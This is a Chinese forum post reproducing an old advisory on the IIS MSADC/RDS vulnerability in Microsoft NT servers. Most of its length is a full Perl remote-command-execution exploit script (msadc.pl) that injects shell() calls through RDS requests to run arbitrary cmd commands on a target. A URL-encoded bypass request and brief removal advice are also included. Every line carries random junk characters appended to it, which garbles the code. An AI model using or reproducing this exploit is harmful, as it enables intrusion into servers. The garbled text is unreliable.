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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) bv.EM  
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涉及程序: xmCm3ekmpC  
Microsoft NT server Z)C:]}Ex  
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描述: >:3xi{  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 e-nWD  
##SLwrg  
详细: $xKg }cO  
如果你没有时间读详细内容的话,就删除: @C!JtgO%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }`+O$0A  
有关的安全问题就没有了。 dL1~]Z y  
[d!Af4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 >VpP/Qf  
,\.YJD>z  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 QT7w::ht  
关于利用ODBC远程漏洞的描述,请参看: sV9{4T~#|  
1C^HCIH7J  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jEC'l]l  
pkrl@ jv >  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 e_fg s>o`(  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp },?-$eyX  
AlPL;^Y_l  
这里不再论述。 ;`X`c  
=Bcux8wA#6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: jldcvW  
gJWlWVeq$  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Mq rt-VPh  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! (H|%?F;{l  
&-EyM*:u!  
B`'}&6jr.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ZwY`x')  
AxG?zBTFx  
#!perl DzX6U[=  
# e8WPV  
# MSADC/RDS 'usage' (aka exploit) script +lY\r +;  
# :Su5  
# by rain.forest.puppy hr/xpQW  
# mI _ 6f~  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me B1 jH.(  
# beta test and find errors! +iZ@.LI  
UgOGBj,&5W  
use Socket; use Getopt::Std; pn ~/!y  
getopts("e:vd:h:XR", \%args); jk WBw.(  
 RU3_Fso  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; &;uGIk>s  
baO&n  
if (!defined $args{h} && !defined $args{R}) { ;iwD/=Y  
print qq~ LN,$P  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Zp% ""  
-h <host> = host you want to scan (ip or domain) 4nVO.Ud0$X  
-d <seconds> = delay between calls, default 1 second V!yp@%D  
-X = dump Index Server path table, if available Q!BkS=H30K  
-v = verbose -7C=- \]  
-e = external dictionary file for step 5 (AyRs7Dkn  
( S C7m /  
Or a -R will resume a command session X:zyzEhS  
/_ hfjCE  
~; exit;} ul5::  
A_X^k|)T  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; qB` 0^V  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} (>)+;$Dr,\  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8&`T<ECq>  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); v]d?6g  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} I%VV4,I&pK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7@e[:>e  
U3VsMV*Y  
if (!defined $args{R}){ $ret = &has_msadc; j3V"d3)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} R[ +]d|L  
Vt$ $ceu  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" T8M[eSbZ  
. "cmd /c "; 5BGv^Qb_2  
$in=<STDIN>; chomp $in; mtHi9).,y|  
$command="cmd /c " . $in ; 0zq\ j  
hH|XtQ.n^  
if (defined $args{R}) {&load; exit;} s]V{}bY`  
s>"WQ|;6  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <)0LwkFtB  
&try_btcustmr; 4^jZv$l5  
O7L6Htya  
print "\nStep 2: Trying to make our own DSN..."; XQJV.SVS  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =^".{h'-  
^HU=E@  
print "\nStep 3: Trying known DSNs..."; sV Z}nq{  
&known_dsn;  # 8-P  
% 'L=  
print "\nStep 4: Trying known .mdbs..."; aV92.Z_Ku  
&known_mdb; 'E4(!H,k  
*< SU_dAh  
if (defined $args{e}){ N]<~NG:6b  
print "\nStep 5: Trying dictionary of DSN names..."; F0o18k_"  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } oeU+?-y/b  
`b,g2XA  
print "Sorry Charley...maybe next time?\n"; G@l|u  
exit; "p_[A  
5"Xo R)  
############################################################################## 9BgQ oK@  
rqG6Ll`=+  
sub sendraw { # ripped and modded from whisker k+>p!1  
sleep($delay); # it's a DoS on the server! At least on mine... U]R|ej  
my ($pstr)=@_; >=RHE@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || fSb@7L  
die("Socket problems\n"); u{y5'cJ{  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^,\se9=(  
select(S); $|=1; H"Em|LX^  
print $pstr; my @in=<S>; 0^tJX1L  
select(STDOUT); close(S); I?xhak1)lu  
return @in; H6+st`{  
} else { die("Can't connect...\n"); }} BRQ5  
LnACce ?b  
############################################################################## BM}a?nnoc  
@o-evH;G  
sub make_header { # make the HTTP request ~NJLS-  
my $msadc=<<EOT /(}l[jf  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 kQ:>j.^e  
User-Agent: ACTIVEDATA E<.{ v\  
Host: $ip Yv|bUZ @  
Content-Length: $clen _ d"Y6 0  
Connection: Keep-Alive +\]S<T*;  
)7BNzj"~  
ADCClientVersion:01.06 :O2v0Kx  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?(XX  
v+, w{~7RH  
--!ADM!ROX!YOUR!WORLD! /)HEx&SQmZ  
Content-Type: application/x-varg ^SES')x  
Content-Length: $reqlen m]b.P,~v  
jl|X$w  
EOT i_Q4bhVj  
; $msadc=~s/\n/\r\n/g; r'}k`A 5>  
return $msadc;} @eD2<e  
W71#NjM2Z  
############################################################################## EC&19  
8CHf.SXh  
sub make_req { # make the RDS request 'J<zVD}0  
my ($switch, $p1, $p2)=@_; |@uhq>&  
my $req=""; my $t1, $t2, $query, $dsn; Hwi7oXP  
Wn)A/Z ^r  
if ($switch==1){ # this is the btcustmr.mdb query .m % x-i  
$query="Select * from Customers where City=" . make_shell(); N/SB}F j  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . v,O&UrZ  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 4iB)oR  
Ymh2qGcj]8  
elsif ($switch==2){ # this is general make table query E!]rh,mYK  
$query="create table AZZ (B int, C varchar(10))"; :j!_XMyT:  
$dsn="$p1";} K%~Kg9  
{s^n|b}  
elsif ($switch==3){ # this is general exploit table query ny;)+v?mN\  
$query="select * from AZZ where C=" . make_shell(); doUqUak  
$dsn="$p1";} y#SD-# I-  
Op)R3qt{  
elsif ($switch==4){ # attempt to hork file info from index server o3`gx  
$query="select path from scope()"; P) 0=@{(  
$dsn="Provider=MSIDXS;";} (:hmp"S  
jYssz4)tp  
elsif ($switch==5){ # bad query F_ lj>;}a5  
$query="select"; (inwKRH  
$dsn="$p1";} v6(l#,  
nT6iS}h  
$t1= make_unicode($query); dXy"yQ>{  
$t2= make_unicode($dsn); &ppZRdq]  
$req = "\x02\x00\x03\x00"; Vam8NnZ|r  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0Nzv@g{3  
$req.= "\x00\x00" . $t1 ; .*..pf|/  
$req.= "\x08\x00" . pack ("S1", length($t2)); ?J1&,'&  
$req.= "\x00\x00" . $t2 ; >WG91b<Xq  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; dJgOfg^  
return $req;} GAe_Z( T  
$+yQ48Wq  
############################################################################## 3xR#,22:}  
1 jd=R7  
sub make_shell { # this makes the shell() statement 9U%}"uE  
return "'|shell(\"$command\")|'";} ;R>42 qYF  
|zegnq~  
############################################################################## i}12mjF  
rs)aEmvC  
sub make_unicode { # quick little function to convert to unicode =cX"gI[  
my ($in)=@_; my $out; X| 0`$f  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } vG=$UUh@~  
return $out;} *`/@[S2,cu  
g{.@|;d <p  
############################################################################## <\Dl#DH  
8c' -eT"  
sub rdo_success { # checks for RDO return success (this is kludge) |Szr=[  
my (@in) = @_; my $base=content_start(@in); ~ .=HN}E  
if($in[$base]=~/multipart\/mixed/){ rY+1s^F  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} X_yU"U  
return 0;} <cd%n-  
c35vjYQx0  
############################################################################## o%s}jBo}  
>Qu^{o  
sub make_dsn { # this makes a DSN for us @g` ,'r  
my @drives=("c","d","e","f"); JaN_[ou  
print "\nMaking DSN: "; `'t;BXedz/  
foreach $drive (@drives) { <OFqUp*l  
print "$drive: "; 23?0'AU  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 2:0Y'\nn  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" G(,~{N||  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); lAt1Mq} ?P  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; m.X+sP-e  
return 0 if $2 eq "404"; # not found/doesn't exist jtJ8r5j 1  
if($2 eq "200") { `Y$5g~3.  
foreach $line (@results) { fu;B?mIn  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -s84/E4Y*  
} return 0;} / 1@m#ZxA:  
mh SsOmJ5  
############################################################################## DFH6.0UW  
(9lx5  
sub verify_exists { gDBQ\vM8  
my ($page)=@_; > %*X2'^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); + {dIs  
return $results[0];} |1 6v4 R  
{;~iq  
############################################################################## ph+tk5k  
tOVm~C,R  
sub try_btcustmr { ?Gu>!7  
my @drives=("c","d","e","f"); =)>q.R9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3`!KndY1  
ml/O  
foreach $dir (@dirs) { J<O_N~$$*  
print "$dir -> "; # fun status so you can see progress DN_C7\CoA  
foreach $drive (@drives) { OlFn<:V K  
print "$drive: "; # ditto jv^ L~<u  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; .DsYR/  
$reqlenlen=length( "$reqlen" ); +`[Sv%v&L  
$clen= 206 + $reqlenlen + $reqlen; P.P>@@+d  
I8:&Btf  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); }# ^Pb M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} y=`(`|YW}`  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} )SLs  [  
a VMFjkW  
############################################################################## n[-!Jp[  
&g {_.n,  
sub odbc_error { W.<<azi  
my (@in)=@_; my $base; 1W7BN~p14  
my $base = content_start(@in); ~;s)0M  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 00TdX|V`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Ku'U^=bVm:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Wuz~$SU  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v%Xe)D   
return $in[$base+4].$in[$base+5].$in[$base+6];} <us{4 %  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; p+?WhxG)  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . xo+z[OIlF  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1MSu ]) W  
G-<~I#k  
############################################################################## aC` c^'5  
boon =;{p  
sub verbose { PTqS L]  
my ($in)=@_; (iP,YKG1?  
return if !$verbose; >4b39/BM  
print STDOUT "\n$in\n";} z5/O8}Gz@  
</p.OaNe  
############################################################################## \]El%j4  
iHB)wC`u  
sub save { DVH><3FF  
my ($p1, $p2, $p3, $p4)=@_; +.cv,1Vx  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; |SleSgS<#  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; i|GC 'XD@  
close OUT;} ARo5 Ss{  
q"oNB-bz  
############################################################################## ]^<~[QK_C  
W@=ilW3RD  
sub load { l"8YIsir  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7L"/4w  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); jyr#e  
@p=<IN>; close(IN); .IU+4ENSy4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ] ={Hq9d@  
$target= inet_aton($ip) || die("inet_aton problems"); w (1a{m?ht  
print "Resuming to $ip ..."; 1 doqznO  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; K(2s%  
if($p[1]==1) { QeoDq  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; f' S"F  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; N 5DS-gv  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); b.&YUg[#  
if (rdo_success(@results)){print "Success!\n";} {'(8<n57  
else { print "failed\n"; verbose(odbc_error(@results));}} 8),Y|4  
elsif ($p[1]==3){ TH &B9  
if(run_query("$p[3]")){ .VT,,0  
print "Success!\n";} else { print "failed\n"; }} 6np wu5!  
elsif ($p[1]==4){ a$m?if=  
if(run_query($drvst . "$p[3]")){ %b9M\  
print "Success!\n"; } else { print "failed\n"; }} ).xWjVC  
exit;} =UY@,*q:c  
`0F IJT  
############################################################################## yM@cml6Ox  
mr? ii  
sub create_table { \mloR '  
my ($in)=@_; '>BHwc  
$reqlen=length( make_req(2,$in,"") ) - 28; 0sa EcJ-  
$reqlenlen=length( "$reqlen" ); v]~[~\|a  
$clen= 206 + $reqlenlen + $reqlen; [qB=OxH?  
my @results=sendraw(make_header() . make_req(2,$in,"")); @$]h[   
return 1 if rdo_success(@results); QR4o j  
my $temp= odbc_error(@results); verbose($temp); f`e.c_n(  
return 1 if $temp=~/Table 'AZZ' already exists/; >Mn.|:DF]&  
return 0;} R0[Gfq9M =  
oLoa71Q}  
############################################################################## 8z"Yo7no  
[@;Z xs  
sub known_dsn { c/RG1w  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go LJD"N#c   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", f&'md  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", -5K/ cK  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2X`M&)"X  
Y i`.zm  
foreach $dSn (@dsns) { 1Jt%I'C?  
print "."; "2J;~  
next if (!is_access("DSN=$dSn")); szHUHW~;J  
if(create_table("DSN=$dSn")){ 4~4Hst#^  
print "$dSn successful\n"; F<[8!^l(z  
if(run_query("DSN=$dSn")){ n^K]R}S  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %~~QXH\  
print "Something's borked. Use verbose next time\n";}}} print "\n";} "'Ik{wGc  
EZ4qhda  
############################################################################## 4)_ [)MZ\j  
OuoZd!"qf  
sub is_access { $)3/N&GXR  
my ($in)=@_; {+;8dtZ)x  
$reqlen=length( make_req(5,$in,"") ) - 28; l}x{.q7U l  
$reqlenlen=length( "$reqlen" ); ZfU_4Pl->  
$clen= 206 + $reqlenlen + $reqlen; @u^Ib33  
my @results=sendraw(make_header() . make_req(5,$in,"")); 43Q&<r$[T  
my $temp= odbc_error(@results); <9"i_d%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 2k_Bo~.  
return 0;} !wgj$5Rw.  
)'JSu=Ej  
############################################################################## 6x0>E^~  
hjE9[{K  
sub run_query { 9pXFC9  
my ($in)=@_; Rjf |  
$reqlen=length( make_req(3,$in,"") ) - 28; ?k#% AM  
$reqlenlen=length( "$reqlen" ); PA E)3  
$clen= 206 + $reqlenlen + $reqlen; hY!G>d{J  
my @results=sendraw(make_header() . make_req(3,$in,"")); MEu-lM7v  
return 1 if rdo_success(@results); KGIz)/eSg  
my $temp= odbc_error(@results); verbose($temp); 3; A1[E6K  
return 0;} @azS)4L  
jVDNThm+  
############################################################################## 1na[=Q2  
E] [DVY  
sub known_mdb { bpkn[K"(  
my @drives=("c","d","e","f","g"); 99 [ "I:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;$Y?j8g  
my $dir, $drive, $mdb; 04s N 4C  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; f5N~K>  
f: R h9  
# this is sparse, because I don't know of many *M{1RMc  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 2}NfR8 N  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", M`(xAVl  
"\\system32\\certmdb.mdb", sEoS|"  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -Jhf]  
*)`:Nm~y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", qcK)J/K"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ^/c|s!U^  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0t) IW D  
"\\cfusion\\cfapps\\security\\realm_.mdb", X_h+\ 7N>  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", YXvKDw'95  
"\\cfusion\\database\\cfexamples.mdb", .}tL:^'~o  
"\\cfusion\\database\\cfsnippets.mdb", HV}NT~  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Y !`H_Qo  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ]C!u~A\jq  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 1yhx)m;f  
"\\cfusion\\database\\smpolicy.mdb", v#~,)-D&  
"\\cfusion\\database\cypress.mdb", ' |4XyU=  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", H Q2-20  
"\\website\\cgi-win\\dbsample.mdb", VAq:q8(K  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", * 08LW|:,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" /F\7_  
); #these are just p'H5yg3h  
foreach $drive (@drives) { 8w{V[@QLn  
foreach $dir (@dirs){ xe5>)\18-  
foreach $mdb (@sysmdbs) { rJAY7/u  
print "."; "PX~Yc  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ (k[<>$hL*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; eN/Jb;W  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @-hy:th#  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ss8`;>  
} else { print "Something's borked. Use verbose next time\n"; }}}}} A3Su&0uaB  
 9( m^^  
foreach $drive (@drives) { &?~> I[^~  
foreach $mdb (@mdbs) { -/h$Yb  
print "."; , 7}Ri  
if(create_table($drv . $drive . $dir . $mdb)){ 4F'@yi^Gt  
print "\n" . $drive . $dir . $mdb . " successful\n"; u", [ulP  
if(run_query($drv . $drive . $dir . $mdb)){ Cnn,$R=/s  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |_O1V{Q=  
} else { print "Something's borked. Use verbose next time\n"; }}}} 4-m}W;igu  
} ddw!FH2W (  
!XK p_v  
############################################################################## 5~\W!|j/  
L|c01  
sub hork_idx { mk[n3oE1  
print "\nAttempting to dump Index Server tables...\n"; 77)C`]0(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $hA[vi\5  
$reqlen=length( make_req(4,"","") ) - 28; .9`.\v6R  
$reqlenlen=length( "$reqlen" ); 0py0zE6,,  
$clen= 206 + $reqlenlen + $reqlen; Sna7r~ j  
my @results=sendraw2(make_header() . make_req(4,"","")); 2^|*M@3r  
if (rdo_success(@results)){ j3$KYf`T}  
my $max=@results; my $c; my %d; f1Rm9``  
for($c=19; $c<$max; $c++){ >:Rc%ILym  
$results[$c]=~s/\x00//g; b+w|3bQa  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; #KiRH* giU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ^fRA$t  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; U2G\GU1 X  
$d{"$1$2"}="";} ]Fa VKC~3  
foreach $c (keys %d){ print "$c\n"; } HIF.;ImG^  
} else {print "Index server doesn't seem to be installed.\n"; }} {~Phc 2z  
%R}}1  
############################################################################## u\6:Txqq  
v=|ahsYC  
sub dsn_dict { IuRKj8J)o  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); XrYz[h*)!  
while(<IN>){ T,k`WR  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; q'PA2a:  
next if (!is_access("DSN=$dSn")); w@hm>6j  
if(create_table("DSN=$dSn")){ La9dFe-uu{  
print "$dSn successful\n"; K !`tEW[  
if(run_query("DSN=$dSn")){ :[,n`0lH  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :c c#e&BO  
print "Something's borked. Use verbose next time\n";}}} KpSHf9!&[  
print "\n"; close(IN);} si)920?E&  
!)ee{CwNc  
############################################################################## d6wsT\S  
[0  3Aej  
sub sendraw2 { # ripped and modded from whisker 1XwbsKQ}  
sleep($delay); # it's a DoS on the server! At least on mine... x#'# ~EO-G  
my ($pstr)=@_;  /I="+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M,NYF`;a  
die("Socket problems\n"); ZE4~rq/W  
if(connect(S,pack "SnA4x8",2,80,$target)){ EFV'hMjS)  
print "Connected. Getting data"; i :@00)V{,  
open(OUT,">raw.out"); my @in; -(~CZ  
select(S); $|=1; print $pstr; e3&R3{  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} {5:y,=Y  
close(OUT); select(STDOUT); close(S); return @in; ![ Fb~Egc  
} else { die("Can't connect...\n"); }} 7n {uxE#U)  
0z.Hl1  
############################################################################## Xn4U!<RT"  
}VdohX-  
sub content_start { # this will take in the server headers jeC3}BL }  
my (@in)=@_; my $c; C}#JvNyQ  
for ($c=1;$c<500;$c++) { nT9B?P>  
if($in[$c] =~/^\x0d\x0a/){ ;ZB[g78%R%  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } UZv^3_,qz  
else { return $c+1; }}}   "Qm  
return -1;} # it should never get here actually e5C560  
`9%@{Ryo  
############################################################################## v-EcJj%  
5^*I]5t8  
sub funky { Y@F@k(lOo  
my (@in)=@_; my $error=odbc_error(@in); mZ'`XAS~;  
if($error=~/ADO could not find the specified provider/){ c V=h 8F  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; (m25ZhW  
exit;} Z_Hc":4i  
if($error=~/A Handler is required/){ YrFB~z.V  
print "\nServer has custom handler filters (they most likely are patched)\n"; *e!0ZB3J  
exit;} ^ola5wD  
if($error=~/specified Handler has denied Access/){ =rGjOb3+  
print "\nServer has custom handler filters (they most likely are patched)\n"; Az{Z=:(0  
exit;}} l>Z"y\l =  
G)G5eXXX  
############################################################################## UOi8>;k`  
q0&g.=;  
sub has_msadc { N\BB8<F  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); L W 8LD|@  
my $base=content_start(@results); QGs\af  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); -xPv]j$  
return 0;} _f8Wa u# "  
&82Za%  
######################## uPQ:}zL2  
^giseWR(  
'1_CMr  
解决方案: $OldHe[p  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 6=0"3%jn@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 FCgr  
% \IB_M  
拿出来充数 哈哈
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